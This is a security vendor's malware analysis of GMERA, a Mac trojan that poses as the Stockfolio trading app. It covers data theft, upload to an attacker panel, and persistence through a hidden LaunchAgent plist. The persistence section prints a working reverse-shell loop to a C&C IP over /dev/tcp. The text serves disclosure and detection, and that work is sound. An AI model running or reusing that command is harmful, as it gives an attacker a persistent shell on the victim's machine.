Mac Malware, Spoofs App, Steals User Information

By By: Luis Magisa Sep 20, 2019 Read time: 5 min (1339 words)

Published: 2019-09-20 · Archived: 2026-04-05 17:13:04 UTC

Unlike in the pre-internet era, when trading in the stock or commodities market involved a phone call to a broker — a move which often meant additional fees for would-be traders — the rise of trading apps placed the ability to trade in the hands of ordinary users. However, their popularity has led to their abuse by cybercriminals who create fake trading apps as lures for unsuspecting victims to steal their personal data. We recently found and analyzed an example of such an app, which had a malicious malware variant that disguised itself as a legitimate Mac-based trading app called Stockfolio.

We found two variants of the malware family. The first one contains a pair of shell scripts and connects to a remote site to decrypt its encrypted codes while the second sample, despite using a simpler routine involving a single shell script, actually incorporates a persistence mechanism.

Sample 1: Trojan.MacOS.GMERA.A

We found the first sample (detected as Trojan.MacOS.GMERA.A) while checking suspicious shell scripts that were flagged by our machine learning system. At first glance, it was challenging to directly identify its malicious behavior because the shell script references other files such as AppCode, .pass and .app. To verify that the behavior was indeed malicious, we sourced the parent file using both our infrastructure and the aggregate website VirusTotal (which had the sample but lacked detections from other major security vendors at the time of writing).

Figure 1. The suspicious shell script which was flagged by our system

The initial sample we analyzed was a zip archive file (detected as Trojan.MacOS.GMERA.A) that contained an app bundle (*Stockfoli.app*) and a hidden encrypted file (.app). The fake app presents itself as legitimate to trick users, but we found that it contained several malicious components.

Figure 2. Content of the zip file. Note that the app bundle is missing the “o” at the end, whereas the legitimate app is called Stockfolio.

The zip file and its contents

The first suspicious component we found was an app bundle under the Resources directory, which seems to be a copy of the legitimate Stockfolio version 1.4.13 but with the malware author’s digital certificate.

Comparing it to the Resources directory of the current version (1.5) found on the Stockfolio website revealed a number of differences, as shown in the figure below.

Figure 3. Comparison of the app bundle folder structure between the malware variant (top) and the legitimate app (version 1.5, bottom).

Technical Analysis

When the app is executed, an actual trading app interface will appear on-screen. However, unbeknownst to the user, the malware variant is already performing its malicious routines in the background.

Figure 4. interface displayed when the malware app bundle is executed

The main Mach-O executable will launch the following bundled shell scripts in the Resources directory:

- plugin
- stock

The plugin and stock shell scripts

The plugin shell script collects the following information from the infected system:

- username
- IP address
- apps in */Applications*
- files in *~/Documents*
- files in *~/Desktop*
- OS installation date
- file system disk space usage
- graphic/display information
- wireless network information
- screenshots

It then encodes the collected information using base64 encoding and saves the collected information in a hidden file: */tmp/.info*. It then uploads the file to *hxxps://appstockfolio.com/panel/upload[.]php* using the collected username and machine serial number as identifiers.

If a successful response is sent from the URL, it will write the response in another hidden file *~/Library/Containers/.pass*

Figure 5 . The “plugin” script

The stock shell script will copy *Stockfoli.app/Contents/Resources/appcode* to */private/var/tmp/appcode*. It then locates the .app file, which is the hidden file in the zip bundle that comes with *Stockfoli.app*

Figure 6. The “stock” script

It decodes the b64-encoded .app file, executes it, then drops the following:

File	Details
/tmp/.hostname	gmzera54l5qpa6lm.onion
/tmp/.privatkey	RSA private key

It will delete the .app file then check if the file *~/Library/Containers/.pass* exists. Using the contents of the '.pass' file as the key, the malware variant will decrypt */private/var/tmp/appcode*, which is encrypted using AES-256-CBC. It then saves the decrypted file to */tmp/appcode*. Finally, it will execute the appcode. If it fails to do so, it will delete the /tmp/appcode file and *~/Library/Containers/.pass*. Note that in the sample we analyzed, the decryption routine failed since the sample was not able to create *~/Library/Containers/.pass.*

Figure 7. Comparison of the code-signing information of the malicious app (top) and the legitimate Stockfolio app (bottom)

We suspect the file appcode is a malware file that contains additional routines. However, at the time of writing, we were unable to decrypt this file since the upload URL *hxxps://appstockfolio.com/panel/upload[.]php* was inaccessible (according to VirusTotal, the domain was active from January to February 2019). Furthermore, we suspect that the full malware routine uses the TOR network due to the presence of the unused address *gmzera54l5qpa6lm[.]onion*.

Sample 2: Trojan.MacOS.GMERA.B

Using the digital certificate of the first sample, we were able to find a second variant (detected as Trojan.MacOS.GMERA.B) that was uploaded to VirusTotal on June 2019. Like the first variant, it contains an embedded copy of Stockfolio.app version 1.4.13 with the malware author's digital certificate. It launches the app in a similar manner when executed to disguise its malicious intent.

Figure 8. The bundle structure of Trojan.MacOS.GMERA.B

Once opened, Trojan.MacOS.GMERA.B will execute the embedded copy of Stockfolio version 1.4.13, after which it will launch the shell script *run.sh*

The script *run.sh* collects usernames and ip addresses from the infected machine via the following command:

- username = 'whoami'
- ip address = 'curl -s ipecho.net/plain'

It connects to the malware URL hxxp://owpqkszz[.]info to send the username and IP address information using the following format:

- hxxp://owpqkszz[.]info/link.php?{username}&{ip address}

As part of its routine, the malware also drops the following files:

File	Details
/private/tmp/.com.apple.upd.plist	Copy of ~/Library/LaunchAgents/.com.apple.upd.plist
~/Library/LaunchAgents/.com.apple.upd.plist	Persistence mechanism
/tmp/loglog	Malware execution logs

It then creates a simple reverse shell to the C&C server 193[.]37[.]212[.]176. Once connected, the malware author can run shell commands.

Figure 9. Content of the run.sh shell script

One of the primary changes found in the second variant, aside from the simplified routine, is the presence of a persistence mechanism via the creation of a property list (plist) file: *~/Library/LaunchAgents/.com.apple.upd.plist*

Figure 10. Hidden plist file used for persistence

After we decoded the b64-encoded arguments for the plist file, we found the following code:

- while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1'; done

This code instructs the plist file to constantly create the reverse shell mentioned earlier, occuring every 10,000 seconds. The simple reverse shell created was observed to use the ports 25733-25736.

Conclusion

Given the changes we've seen from the malware variant's initial iteration to its current one, we notice a trend in which the malware authors have simplified its routine and added further capabilities. It's possible that the people behind it are looking for ways to make it more efficient – perhaps even adding evasion mechanisms in the future.

In the meantime, we advise aspiring traders to practice caution when it comes to the programs they download, especially if it comes from an unknown or suspicious website. We recommend that users only download apps from official sources to minimize chances of downloading a malicious one. We reached out to Apple before publication of this entry, and they informed us that the code signing certificate of this fake app's developers was revoked in July of this year.

Trend Micro solutions

End users can benefit from security solutions such as Trend Micro Home Security for Macproducts, which provides comprehensive security and multi-device protection against cyberthreats. Enterprises can benefit from Trend Micro's Smart Protection Suitesproducts with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.

Indicators of Compromise (IoCs)

Sample 1

Filename	SHA256	Detection name
plugin	6fe741ef057d38dd6d9bbe02dacbcb4940dac6c32e0f50a641e73727d6bf60d9	Trojan.SH.GMERA.A
stock	6f48ef0d76ce68bbca53b05d2d22031aec5ce997e7227c3dcb20809959680f11	Trojan.SH.GMERA.A
Stockfoli	efd5b96f489f934f2465a185e43fddf50fcde51b12a8fb91d5d93b09a21706c7	Trojan.MacOS.GMERA.A
Trial_Stockfoli.zip	18e1db7c37a63d987a5448b4dd25103c8053799b0deea5f45f00ca094afe2fe7	Trojan.MacOS.GMERA.A

Sample 2

Filename	SHA256	Detection name
com.apple.upd.plist	be8b6549da925f285307b17c616a010a9418af70d090ed960ade575ce27c7787	Trojan.MacOS.GMERA.I

run.sh	d50f5e94f2c417623c5f573963cc777c0676cc7245d65967ca09a53f464d2b50	Trojan.SH.GMERA.B
Stockfoli	83df2f39140679a9cfb55f9c839ff8e7638ba29dba164900f9c77bb177796e03 (sample 2)	Trojan.MacOS.GMERA.I
Trial_Stockfoli.zip	faa2799751582b8829c61cbfe2cbaf3e792960835884b61046778d17937520f4 (sample 2)	Trojan.MacOS.GMERA.I
